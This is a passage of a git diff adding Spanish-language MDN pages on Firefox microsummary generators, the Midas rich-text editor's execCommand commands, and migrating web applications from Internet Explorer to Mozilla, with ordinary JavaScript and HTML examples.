+  &lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>" \
+             name="Firefox Download Count" \
+             uri="urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}"&gt; \
+    &lt;template&gt; \
+      &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt; \
+        &lt;output method="text"/&gt; \
+        &lt;template match="/"&gt; \
+          &lt;value-of select="id(\'download-count\')"/&gt; \
+          &lt;text&gt; Fx downloads&lt;/text&gt; \
+        &lt;/template&gt; \
+      &lt;/transform&gt; \
+    &lt;/template&gt; \
+    &lt;pages&gt;
+      &lt;include&gt;<span class="nowiki">http://(www\.)?spreadfirefox\.com/(index\.php)?</span>&lt;/include&gt;
+    &lt;/pages&gt;
+  &lt;/generator&gt; \
+';
+
+var domParser =
+  Components.classes["@mozilla.org/xmlextras/domparser;1"].
+  createInstance(Components.interfaces.nsIDOMParser);
+
+var generatorDoc = domParser.parseFromString(generatorText, "text/xml");
+
+var microsummaryService =
+  Components.classes["@mozilla.org/microsummary/service;1"].
+  getService(Components.interfaces.nsIMicrosummaryService);
+
+var generator = microsummaryService.installGenerator(generatorDoc);
+</pre>
+<p>The service installs the generator by serializing its XML to a file in the user's profile directory and adding the generator to the service's in-memory generator cache.</p>
+<p>When programmatically installing generators, you should specify a unique identifier for the generator in the <code>uri</code> attribute of the <code>&lt;generator&gt;</code> element. The value of the attribute must be a valid URI, but you can specify an arbitrary identifier using a URN, for example:</p>
+<pre class="eval">urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}
+</pre>
+<p>To guarantee uniqueness, use URNs containing UUIDs generated by the nsUUIDGenerator component. See <a href="/en/XPCOM_Interface_Reference/nsIUUIDGenerator#Generating_a_UUID" title="en/XPCOM_Interface_Reference/nsIUUIDGenerator#Generating_a_UUID">Generating a UUID</a> in the <a href="/en/XPCOM_Interface_Reference/nsIUUIDGenerator" title="en/XPCOM_Interface_Reference/nsIUUIDGenerator">nsIUUIDGenerator</a> documentation.</p>
+<p>You may also use another form appropriate to your extension.</p>
+<div class="note"><strong>Note:</strong> When web sites install generators via <code>window.sidebar.addMicrosummaryGenerator()</code>, Firefox sets their <code>uri</code> attribute to <code>urn:source:<em>sourceURL</em></code>, where <code><em>sourceURL</em></code> is the URL from which the generator was downloaded. In the future, Firefox may access source URLs to download updated versions of generators, so unless you are installing generators which are available from URLs, you should not use this form for your programmatically-installed generators.</div>
+<h2 id="Differentiating_between_user-initiated_and_microsummary-related_requests" name="Differentiating_between_user-initiated_and_microsummary-related_requests">Differentiating between user-initiated and microsummary-related requests</h2>
+<p>When Firefox updates a microsummary generated by a microsummary generator add-on, it automatically downloads the HTML content of the page being summarized. It does not generally download related content like embedded images and JavaScript scripts referenced by the page. However, because of a technical limitation (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=340746" title="make it possible to disable CSS parsing on iframe-specific basis">bug 340746</a>), it does download CSS stylesheets referenced by the page.</p>
+<p>Firefox includes the <code>X-Moz</code> request header with these requests. It sets the value of the header to the string <code>microsummary</code>. Thus, to differentiate requests initiated manually by users for the purpose of viewing a web page from those initiated automatically by Firefox for the purpose of summarizing that page, check for the presence and value of the <code>X-Moz</code> request header.</p>
+<p>If the <code>X-Moz</code> header is present, and its value is <code>microsummary</code>, then the request is a microsummary-related request. Otherwise, it is a user-initiated request.</p>
+<p> </p>
+<h2 id="Controlling_the_frequency_of_microsummary_requests" name="Controlling_the_frequency_of_microsummary_requests">Controlling the frequency of microsummary requests</h2>
+<p>When Firefox downloads content in order to update a microsummary, it honors cache-related HTTP response headers. Thus, if you would like to control how frequently Firefox initiates microsummary-related requests to your web server, you can do so by including an HTTP <code>Expires</code> or <code>Cache-Control</code> header in your response to a microsummary-related request.</p>
+<p>For example, you might include the following header in your response to prevent Firefox from making another microsummary-related request for one hour:</p>
+<pre class="eval">Cache-Control: max-age=3600
+</pre>
+<div class="note"><strong>Note:</strong> Because of a technical limitation (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=346820" title="allow sites to specify minimum update frequency">bug 346820</a>), Firefox uses the same cache for both microsummary-related requests and user-initiated requests, so the cache headers you return apply to both. Thus if your cache headers tell Firefox not to refresh a page on your site more than once per hour, and the user reloads the page within that time period, the user will see the cached version of your page, which may not be what you want.</div>
+<p>To mitigate this effect, only return microsummary-specific cache headers in response to microsummary-related requests. Then only microsummary users will be affected by those headers.</p>
diff --git a/files/es/midas/index.html b/files/es/midas/index.html
new file mode 100644
index 0000000000..547ad3f550
--- /dev/null
+++ b/files/es/midas/index.html
@@ -0,0 +1,328 @@
+---
+title: Midas
+slug: Midas
+tags:
+  - DOM
+  - Midas
+  - NeedsContent
+  - NeedsHelp
+  - NeedsTechnicalReview
+  - NeedsTranslation
+  - TopicStub
+  - needsattention
+translation_of: Mozilla/Projects/Midas
+---
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+
+<p>Midas is the code name for Gecko's built-in rich text editor. Midas can be enabled via JavaScript on an HTML document. When Midas is enabled, the document becomes editable by the user. Scripting for Midas is based on the <a href="http://msdn.microsoft.com/en-us/library/ms533049.aspx">DHTML commands</a> supported by Internet Explorer. Internet Explorer supports the ability to make an entire document editable by setting the <code>designMode</code> property of the {{domxref("document")}} object; this is how Midas is invoked in Gecko. Internet Explorer also supports the ability to edit specific elements using the <code>contentEditable</code> attribute; Starting with Firefox 3, Gecko also supports <code>contentEditable</code>. Once Midas is invoked, a few more methods of the <code>document</code> object become available.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Midas/designMode">document.designMode</a></dt>
+ <dd>By setting this property to "on", the document becomes editable.</dd>
+</dl>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Since an entire document becomes editable, authors often load the editable document into an <code>IFRAME</code> and do the bulk of the scripting in the parent document. According to <a href="http://www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/html.html#ID-50708718">standards</a>, The <code>IFRAME</code> element has the <code>contentDocument</code> property that refers to the document in the inline frame. It also has a property called <code>contentWindow</code> that refers to the window object inside the inline frame. This also avoids problems with {{bug(198155)}}.</p>
+
+<p>In addition to the built-in commands, advanced editing can be done by manipulating the {{domxref("Selection")}} and {{domxref("range")}} objects. It is beneficial to be familiar with these objects when working with an editable document.</p>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<p>This example shows the basic structure described in the Notes section :</p>
+
+<pre>&lt;html&gt;
+	&lt;head&gt;
+		&lt;title&gt;Simple Edit Box&lt;/title&gt;
+	&lt;/head&gt;
+	&lt;body&gt;
+		&lt;iframe
+			id="MidasForm"
+			src="about:blank"
+			onload="this.contentDocument.designMode='on';"
+		&gt;&lt;/iframe&gt;
+	&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Document.execCommand")}}</dt>
+ <dd>Executes the given command.</dd>
+ <dt>{{domxref("Document.queryCommandEnabled")}}</dt>
+ <dd>Determines whether the given command can be executed on the document in its current state.</dd>
+ <dt>{{domxref("Document.queryCommandIndeterm")}}</dt>
+ <dd>Determines whether the current selection is in an indetermined state.</dd>
+ <dt>{{domxref("Document.queryCommandState")}}</dt>
+ <dd>Determines whether the given command has been executed on the current selection.</dd>
+ <dt>{{domxref("Document.queryCommandValue")}}</dt>
+ <dd>Determines the current value of the document, range, or current selection for the given command.</dd>
+</dl>
+
+<h2 id="Supported_Commands" name="Supported_Commands">Supported Commands</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Command</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>backcolor</td>
+   <td>A color code.</td>
+   <td>This command will set the background color of the document.</td>
+  </tr>
+  <tr>
+   <td>bold</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set bold for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already bold, the bold will be removed. Otherwise, all selected characters will become bold.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>contentReadOnly</td>
+   <td> </td>
+   <td>This command will make the editor readonly(true)or editable(false). Anticipated usage is for temporarily disabling input while something else is occurring elsewhere in the web page.</td>
+  </tr>
+  <tr>
+   <td>copy</td>
+   <td> </td>
+   <td>If there is a selection, this command will copy the selection to the clipboard. If there isn't a selection, nothing will happen.
+    <p>note: this command won't work without setting a pref or using signed JS. See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+    <p>note: the shortcut key will automatically trigger this command (typically accel-C) with or without the signed JS or any code on the page to handle it.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>createlink</td>
+   <td>A URI.</td>
+   <td>This command will not do anything if no selection is made. If there is a selection, a link will be inserted around the selection with the url parameter as the href of the link.</td>
+  </tr>
+  <tr>
+   <td>cut</td>
+   <td> </td>
+   <td>If there is a selection, this command will copy the selection to the clipboard and remove the selection from the edit control. If there isn't a selection, nothing will happen.
+    <p>note: this command won't work without setting a pref or using signed JS. See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+    <p>note: the shortcut key will automatically trigger this command (typically accel-X) with or without the signed JS or any code on the page to handle it.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>decreasefontsize</td>
+   <td> </td>
+   <td>This command will add a &lt;small&gt; tag around selection or at insertion point.</td>
+  </tr>
+  <tr>
+   <td>delete</td>
+   <td> </td>
+   <td>This command will delete all text and objects that are selected. If no text is selected it deletes one character to the right. This is similar to the <em>Delete</em> button on the keyboard.</td>
+  </tr>
+  <tr>
+   <td>fontname</td>
+   <td>A font name</td>
+   <td>This command will set the font face for a selection or at the insertion point if there is no selection.
+    <p>The given string is such as would be used in the "face" attribute of the font tag, i.e., a comma-separated list of font names.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>fontsize</td>
+   <td>A number</td>
+   <td>This command will set the fontsize for a selection or at the insertion point if there is no selection.
+    <p>The given number is such as would be used in the "size" attribute of the font tag.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>forecolor</td>
+   <td>A color code</td>
+   <td>This command will set the text color of the selection or at the insertion point.</td>
+  </tr>
+  <tr>
+   <td>formatblock</td>
+   <td>H1, H2, H3, H4, H5, H6, P, DIV, ADDRESS, BLOCKQUOTE (more?)</td>
+   <td>The selection surrounded by the given block element.</td>
+  </tr>
+  <tr>
+   <td>heading</td>
+   <td>H1, H2, H3, H4, H5, H6</td>
+   <td>Selected block will be formatted as the given type of heading.</td>
+  </tr>
+  <tr>
+   <td>hilitecolor</td>
+   <td>A color code</td>
+   <td>This command will set the hilite color of the selection or at the insertion point. It only works with styleWithCSS enabled.</td>
+  </tr>
+  <tr>
+   <td>increasefontsize</td>
+   <td> </td>
+   <td>This command will add a &lt;big&gt; tag around selection or at insertion point.</td>
+  </tr>
+  <tr>
+   <td>indent</td>
+   <td> </td>
+   <td>Indent the block where the caret is located. If the caret is inside a list, that item becomes a sub-item one level deeper.</td>
+  </tr>
+  <tr>
+   <td>insertbronreturn</td>
+   <td>true/false</td>
+   <td>Selects whether pressing return inside a paragraph creates another paragraph or just inserts a &lt;br&gt; tag.</td>
+  </tr>
+  <tr>
+   <td>inserthorizontalrule</td>
+   <td>null/string (when string is the Line's id)</td>
+   <td>This command will insert a horizontal rule (line) at the insertion point.
+    <p>Does it delete the selection? Yes!</p>
+   </td>
+  </tr>
+  <tr>
+   <td>inserthtml</td>
+   <td>A string.</td>
+   <td>This command will insert the given html into the &lt;body&gt; in place of the current selection or at the caret location.
+    <p>The given string is the HTML to insert.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>insertimage</td>
+   <td>A URI.</td>
+   <td>This command will insert an image (referenced by the given url) at the insertion point.</td>
+  </tr>
+  <tr>
+   <td>insertorderedlist</td>
+   <td> </td>
+   <td>Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and an OL. If the caret is inside a bulleted item, the bulleted item becomes a numbered item.</td>
+  </tr>
+  <tr>
+   <td>insertunorderedlist</td>
+   <td> </td>
+   <td>Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and UL. If the caret is inside a numbered item, the numbered item becomes a bulleted item.</td>
+  </tr>
+  <tr>
+   <td>insertparagraph</td>
+   <td> </td>
+   <td>Inserts a new paragraph.</td>
+  </tr>
+  <tr>
+   <td>italic</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set italic for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already italic, the italic will be removed. Otherwise, all selected characters will become italic.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>justifycenter</td>
+   <td> </td>
+   <td>Center-aligns the current block.</td>
+  </tr>
+  <tr>
+   <td>justifyfull</td>
+   <td> </td>
+   <td>Fully-justifies the current block.</td>
+  </tr>
+  <tr>
+   <td>justifyleft</td>
+   <td> </td>
+   <td>Left-aligns the current block.</td>
+  </tr>
+  <tr>
+   <td>justifyright</td>
+   <td> </td>
+   <td>Right aligns the current block.</td>
+  </tr>
+  <tr>
+   <td>outdent</td>
+   <td> </td>
+   <td>Outdent the block where the caret is located. If the block is not indented prior to calling outdent, nothing will happen.
+    <p>If the caret is in a list item, the item will bump up a level in the list or break out of the list entirely.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>paste</td>
+   <td> </td>
+   <td>This command will paste the contents of the clipboard at the location of the caret. If there is a selection, it will be deleted prior to the insertion of the clipboard's contents.
+    <p>note: this command won't work without setting a pref or using signed JS. user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess"); See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+    <p>note: the shortcut key will automatically trigger this command (typically accel-V) with or without the signed JS or any code on the page to handle it.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>redo</td>
+   <td> </td>
+   <td>This command will redo the previous undo action. If undo was not the most recent action, this command will have no effect.
+    <p>note: the shortcut key will automatically trigger this command (typically accel-shift-Z)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>removeformat</td>
+   <td> </td>
+   <td>Removes inline formatting from the current selection.</td>
+  </tr>
+  <tr>
+   <td>selectall</td>
+   <td> </td>
+   <td>This command will select all of the contents within the editable area.
+    <p>note: the shortcut key will automatically trigger this command (typically accel-A)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>strikethrough</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set strikethrough for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already striked, the strikethrough will be removed. Otherwise, all selected characters will have a line drawn through them.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>styleWithCSS</td>
+   <td> </td>
+   <td>This command is used for toggling the format of generated content. By default (at least today), this is true. An example of the differences is that the "bold" command will generate &lt;b&gt; if the styleWithCSS command is false and generate css style attribute if the styleWithCSS command is true.</td>
+  </tr>
+  <tr>
+   <td>subscript</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set subscript for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already subscripted, the subscript will be removed. Otherwise, all selected characters will be drawn slightly lower than normal text.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>superscript</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set superscript for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already superscripted, the superscript will be removed. Otherwise, all selected characters will be drawn slightly higher than normal text.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>underline</td>
+   <td> </td>
+   <td>If there is no selection, the insertion point will set underline for subsequently typed characters.
+    <p>If there is a selection and all of the characters are already underlined, the underline will be removed. Otherwise, all selected characters will become underlined.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>undo</td>
+   <td> </td>
+   <td>This command will undo the previous action. If no action has occurred in the document, then this command will have no effect.
+    <p>note: the shortcut key will automatically trigger this command (typically accel-Z)</p>
+   </td>
+  </tr>
+  <tr>
+   <td>unlink</td>
+   <td> </td>
+   <td>If the insertion point is within a link or if the current selection contains a link, the link will be removed and the text will remain.</td>
+  </tr>
+  <tr>
+   <td colspan="3">{{Deprecated_header}}</td>
+  </tr>
+  <tr>
+   <td>readonly</td>
+   <td> </td>
+   <td>This command has been replaced with contentReadOnly. It takes the same values as contentReadOnly, but the meaning of true and false are inversed.</td>
+  </tr>
+  <tr>
+   <td>useCSS</td>
+   <td> </td>
+   <td>This command has been replaced with styleWithCSS. It takes the same values as styleWithCSS, but the meaning of true and false are inversed.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/migrar_aplicaciones_desde_internet_explorer_a_mozilla/index.html b/files/es/migrar_aplicaciones_desde_internet_explorer_a_mozilla/index.html
new file mode 100644
index 0000000000..39b9197fd1
--- /dev/null
+++ b/files/es/migrar_aplicaciones_desde_internet_explorer_a_mozilla/index.html
@@ -0,0 +1,1067 @@
+---
+title: Migrar aplicaciones desde Internet Explorer a Mozilla
+slug: Migrar_aplicaciones_desde_Internet_Explorer_a_Mozilla
+tags:
+  - Desarrollo_Web
+  - Todas_las_Categorías
+---
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h3>
+<p>Cuando Netscape comenzó con el navegador Mozilla, lo hizo con la decisión consciente de soportar los estándares del W3C. Como resultado, Mozilla no es totalmente compatible hacia atrás con el código heredado de Netscape Navigator 4.x ni de Microsoft Internet Explorer. Por ejemplo, Mozilla no soporta la etiqueta <code>&lt;layer&gt;</code> como se verá más adelante. Los navegadores como Internet Explorer 4 fueron construidos antes de la concepción de los estándares del W3C heredando muchos de sus extraños comportamientos. En este articulo se describirán las idiosincrasias de Mozilla que hacen que haya una fuerte compatibilidad del HTML hacia atrás con Internet Explorer y otros navegadores antiguos.</p>
+<p>También se repasarán las tecnologías no estandarizadas soportadas por Mozilla, como el XMLHttpRequest y la edición de texto enriquecido, dado que existen sus equivalentes existentes en el W3C y que se incluyen en:</p>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html401/">HTML 4.01</a>, <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0</a> y <a class="external" href="http://www.w3.org/TR/xhtml11/">XHTML 1.1</a></li>
+ <li>Hojas de estilo en cascada (CSS): <a class="external" href="http://www.w3.org/TR/REC-CSS1">CSS nivel 1</a>, <a class="external" href="http://www.w3.org/TR/CSS21/">CSS nivel 2.1</a> y parte del <a class="external" href="http://www.w3.org/Style/CSS/current-work.html">CSS nivel 3</a></li>
+ <li>Modelo de objetos de documento (DOM): <a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/">DOM nivel 1</a>, <a class="external" href="http://www.w3.org/DOM/DOMTR#dom2">DOM nivel 2</a> y parte del <a class="external" href="http://www.w3.org/DOM/DOMTR#dom3">DOM nivel 3</a></li>
+ <li>Lenguaje de etiquetado matemático (MathML): <a class="external" href="http://www.w3.org/Math/">MathML versión 2.0</a></li>
+ <li>Lenguaje de etiquetado ampliable (XML): <a class="external" href="http://www.w3.org/TR/REC-xml">XML 1.0</a>, <a class="external" href="http://www.w3.org/TR/REC-xml-names/">Espacios de nombres en XML</a>, <a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Asociando hojas de estilos con documentos XML 1.0</a>, <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJ%20un/att-0074/01-NOTE-FIXptr-20010425.htm">Fragment Identifier for XML</a></li>
+ <li>Transformaciones XSL: <a class="external" href="http://www.w3.org/TR/xslt">XSLT 1.0</a></li>
+ <li>Lenguaje XPath: <a class="external" href="http://www.w3.org/TR/xpath">XPath 1.0</a></li>
+ <li>Resource Description Framework (Infraestructura para la descripción de recursos): <a class="external" href="http://www.w3.org/RDF/">RDF</a></li>
+ <li>Simple Object Access Protocol (Protocolo simple de acceso a objetos): <a class="external" href="http://www.w3.org/TR/soap">SOAP 1.1</a></li>
+ <li>ECMA-262, revision 3 (JavaScript 1.5): <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262</a></li>
+</ul>
+<h3 id="Trucos_generales_para_la_programaci.C3.B3n_multinavegador" name="Trucos_generales_para_la_programaci.C3.B3n_multinavegador">Trucos generales para la programación multinavegador</h3>
+<p>Pese a la existencia de los estándares web, los diferentes navegadores se comportan de manera distinta (de hecho, el mismo navegador puede comportarse de modo diferente dependiendo de la plataforma). Muchos navegadores, como Internet Explorer, también soportan el APIs anterior al W3C y nunca se han esforzado en añadir soporte para los navegadores compatibles con el W3C.</p>
+<p>Antes de enumerar las diferencias entre Mozilla e Internet Explorer, sería conveniente cubrir algunas formas básicas en las que se pueden crear aplicaciones web ampliables a las que añadir soporte para nuevos navegadores más tarde.</p>
+<p>Dado que los diferentes navegadores utilizan a veces diferentes APIs para una misma funcionalidad, es muy posible que encuentres múltiples bloques <code>if() else()</code> a lo largo y ancho del código para diferenciar el navegador que está ejecutando el documento. El siguiente código muestra un bloque diseñado para Internet Explorer:</p>
+<pre>. . .
+
+var elm;
+
+if (ns4)
+  elm = document.layers["myID"];
+else if (ie4)
+  elm = document.all["myID"]
+</pre>
+<p>El anterior código no es ampliable por lo que si quieres soportar un nuevo navegador, deberás actualizar ese bloque de código en toda la aplicación web.</p>
+<p>La forma más fácil de evitar la recodificación del documento para un nuevo navegador es abstraer la funcionalidad. En lugar de utilizar múltiples bloques <code>if() else()</code>, puedes incrementar la eficiencia tomando tareas comunes y abstrayéndolas en sus propias funciones. Esto no sólo hace al código más legible sino que simplifica el proceso añadir soporte para nuevos clientes.</p>
+<pre>var elm = getElmById("myID");
+
+function getElmById(aID){
+  var element = null;
+
+  if (isMozilla || isIE5)
+    element = document.getElementById(aID);
+  else if (isNetscape4)
+    element = document.layers[aID];
+  else if (isIE4)
+    element = document.all[aID];
+
+  return element;
+}
+</pre>
+<p>El código de arriba sigue arrastrando el problema del <em>browser sniffing</em> o el proceso de detección para saber qué navegador está utilizando el usuario. El browser sniffing es detectado generalmente gracias al parámetro <em>useragent</em>, como:</p>
+<pre>Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031016
+</pre>
+<p>Mientras que la utilización del parámetro <em>useragent</em> para detectar el navegador proporciona información detallada del navegador en uso, el código que maneja esos parámetros genera errores con frecuencia cuando son publicadas nuevas versiones de los mismos, por lo que hay que cambiar el código.</p>
+<p>Si el tipo de navegador no importa (supongamos que se ha bloquado el acceso a la aplicación web a navegadores no soportados), <strong>será mucho mejor y más fiable detectar las capacidades del navegador o el soporte de objetos en particular</strong>. Generalmente se puede hacer esto probando la funcionalidad requerida en JavaScript, por ejemplo, en lugar de:</p>
+<pre>if (isMozilla || isIE5)
+</pre>
+<p>Se debería de usar:</p>
+<pre>if (document.getElementById)
+</pre>
+<p>Esto permitiría a otros navegadores que soportan ese método estandar del W3C (tales como Opera o Safari) funcionar sin ningún cambio.</p>
+<p>La detección del agente de usuario sin embargo tiene sentido cuando es importante acertar, como cuando estás verificando que un navegador coincide con los requerimientos de versión de la aplicación web o estás intentando sortear un fallo de programación.</p>
+<p>JavaScript también permite sentencias condicionales en línea, lo que ayuda a la legibilidad:</p>
+<pre>var foo = (condicion) ? condicionEsTrue : condicionEsFalse;
+</pre>
+<p>Por ejemplo, para obtener un elemento se debería usar:</p>
+<pre>
+function getElement(aID){
+  return (document.getElementById) ? document.getElementById(aID)
+                                   : document.all[aID];
+}
+</pre>
+<h3 id="Diferencias_entre_Mozilla_e_Internet_Explorer" name="Diferencias_entre_Mozilla_e_Internet_Explorer">Diferencias entre Mozilla e Internet Explorer</h3>
+<p>Primero se discutirán las diferencias en la forma en la que se comporta el HTML en Mozilla y en Internet Explorer.</p>
+<h4 id="T.C3.ADtulos_emergentes" name="T.C3.ADtulos_emergentes">Títulos emergentes</h4>
+<p>Los títulos emergentes son pequeños textos descriptivos que aparecen normalmente cuando se deja el cursor del ratón un cierto tiempo sobre un elemento.</p>
+<p>Los navegadores antiguos introdujeron los títulos emergentes en el HTML mostrándolos en enlaces y usando el valor del atributo <code>alt</code> como contenido del título. La última especificación de W3C para HTML creó el atributo <code>title</code>, pensado para contener una descripción detallada del enlace. Los navegadores modernos utilizan el atributo <code>title</code> para mostrar títulos emergentes y Mozilla sólo muestra dichos títulos basándose en el ese atributo y no en el atributo <code>alt</code>.</p>
+<h4 id="Entidades" name="Entidades">Entidades</h4>
+<p>El marcado HTML puede contener varias entidades definidas por el <a class="external" href="http://www.w3.org/TR/REC-html40/sgml/entities.html">departamento de estándares web del W3C</a>. Se pueden referenciar entidades a través de su referencia numérica o alfabética. Por ejemplo, puedes referenciar el carácter de espacio en blanco #160 con <code>&amp;#160</code> o con su referencia alfabética correspondiente <code>&amp;nbsp;</code>.</p>
+<p>Algunos navegadores antiguos, como Internet Explorer, son tan fulleros que permiten usar entidades reemplazando el carácter <code>;</code> (punto y coma) al final con contenido normal de texto.</p>
+<pre>&amp;nbsp Foo
+&amp;nbsp&amp;nbsp Foo
+</pre>
+<p>Internet Explorer visualizará los <code>&amp;nbsp</code> mostrados anteriormente como espacios en blanco, pese a que va en contra de la especificación del W3C. El navegador no analizará un <code>&amp;nbsp</code> si va inmediatamente seguido por más caracteres. Por ejemplo:</p>
+<pre>&amp;nbsp12345
+</pre>
+<p>Este código no funcionará en Mozilla, dado que va en contra de los estándares del W3C. Es mejor usar la forma correcta (<code>&amp;nbsp;</code>) para evitar discrepancias entre navegadores.</p>
+<h3 id="Diferencias_en_el_DOM" name="Diferencias_en_el_DOM">Diferencias en el DOM</h3>
+<p>El Modelo de Objetos de Documento (DOM) es <strong>la estructura en árbol que contiene los elementos del documento</strong>. Se puede manipular a través de las APIs de JavaScript, las cuales han sido estandarizadas por el W3C. Sin embargo, antes de la estandarización del W3C, Netscape 4 e Internet Explorer 4 implementaron las APIs de modo similar. Mozilla implementa las APIs heredadas sólo si han sido aceptadas por los estándares del W3C.</p>
+<h4 id="Accediendo_a_los_elementos" name="Accediendo_a_los_elementos">Accediendo a los elementos</h4>
+<p>Para referenciar un elemento usando una técnicas multinavegador, debe de usarse <code>document.getElementById(id)</code>, que funciona tanto en Internet Explorer versión 5.0 y superiores, en navegadores basados en Mozilla y en otros navegadores compatibles con el W3C y es parte de la especificación DOM nivel 1.</p>
+<p>Mozilla no soporta el acceso a elementos a través de <code>document.elementName</code>, ni siquiera a través del nombre del elemento; algo que Internet Explorer permite (llamado también <em>global namespace polluting</em>). Mozilla tampoco soporta el método <code>document.layers</code> de Netscape ni el <code>document.all</code> de Internet Explorer. Mientras que <code>document.getElementById</code> permite referenciar un único elemento, puedes usar <code>document.layers</code> y <code>document.all</code> para obtener una lista de todos los elementos del documento con un nombre determinado, como todos los elementos <code>&lt;div&gt;</code>.</p>
+<p>El método del DOM nivel 1 del W3C que permite referenciar a todos los elementos con el mismo nombre de etiqueta es <code>getElementsByTagName()</code>. Este método devuelve un vector en JavaScript y puede ser invocado desde el elemento <code>document</code> o desde otros nodos para buscar sólo en su sub-árbol. Para obtener un vector con todos los elementos del árbol del DOM, se puede utilizar <code>getElementsByTagName("*")</code>.</p>
+<p>Los métodos del DOM nivel 1, como muestra la tabla 1, son usados comúnmente para mover un elemento a una posición en particular y cambiar su visibilidad (menús, animaciones, etc...). Netscape 4 usaba la etiqueta <code>&lt;layer&gt;</code>(algo que Mozilla no soporta) como un elemento que podía posicionarse en cualquier lugar. En Mozilla se puede posicionar cualquier elemento utilizando la etiqueta <code>&lt;div&gt;</code>, algo que Internet Explorer también utiliza y que está presente en la especificación HTML.</p>
+<table class="standard-table">
+ <caption>
+  Tabla 1. Métodos usados para acceder a elementos</caption>
+ <tbody>
+  <tr>
+   <th>Método</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>document.getElementById( unId )</td>
+   <td>Devuelve una referencia al elemento cuyo atributo id coincide con el pasado como parámetro.</td>
+  </tr>
+  <tr>
+   <td>document.getElementsByTagName( unNombre )</td>
+   <td>Devuelve un vector de elementos cuyo nombre de etiqueta coincide con el pasado como parámetro.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="Recorrer_el_DOM" name="Recorrer_el_DOM">Recorrer el DOM</h4>
+<p>Mozilla soporta las APIs del DOM del W3C que permiten recorrer el árbol del DOM a través de JavaScript (véase la tabla 2). Las APIs están disponibles para cada nodo del documento y permiten recorrer el árbol en cualquier dirección. Internet Explorer también soporta estas APIs y además sus APIs heredadas para recorrer el árbol del DOM, tales como la propiedad <code>children</code>.</p>
+<table class="standard-table">
+ <caption>
+  Tabla 2. Métodos usados para recorrer el DOM</caption>
+ <tbody>
+  <tr>
+   <th>Propiedad/Método</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>childNodes</td>
+   <td>Devuelve un vector con todos los nodos hijos del elemento.</td>
+  </tr>
+  <tr>
+   <td>firstChild</td>
+   <td>Devuelve el primer nodo hijo del elemento.</td>
+  </tr>
+  <tr>
+   <td>getAttribute( nombre )</td>
+   <td>Devuelve el valor del atributo cuyo nombre se pasa como parámetro.</td>
+  </tr>
+  <tr>
+   <td>hasAttribute( nombre )</td>
+   <td>Devuelve un valor booleano que indica si el nodo actual tiene un atributo definido con el nombre especificado.</td>
+  </tr>
+  <tr>
+   <td>hasChildNodes()</td>
+   <td>Devuelve un valor booleano que indica si el nodo actual tiene al menos un elemento hijo.</td>
+  </tr>
+  <tr>
+   <td>lastChild</td>
+   <td>Devuelve el último nodo hijo del elemento.</td>
+  </tr>
+  <tr>
+   <td>nextSibling</td>
+   <td>Devuelve el nodo que sigue inmediatamente al actual.</td>
+  </tr>
+  <tr>
+   <td>nodeName</td>
+   <td>Devuelve el nombre del nodo actual como una cadena de texto.</td>
+  </tr>
+  <tr>
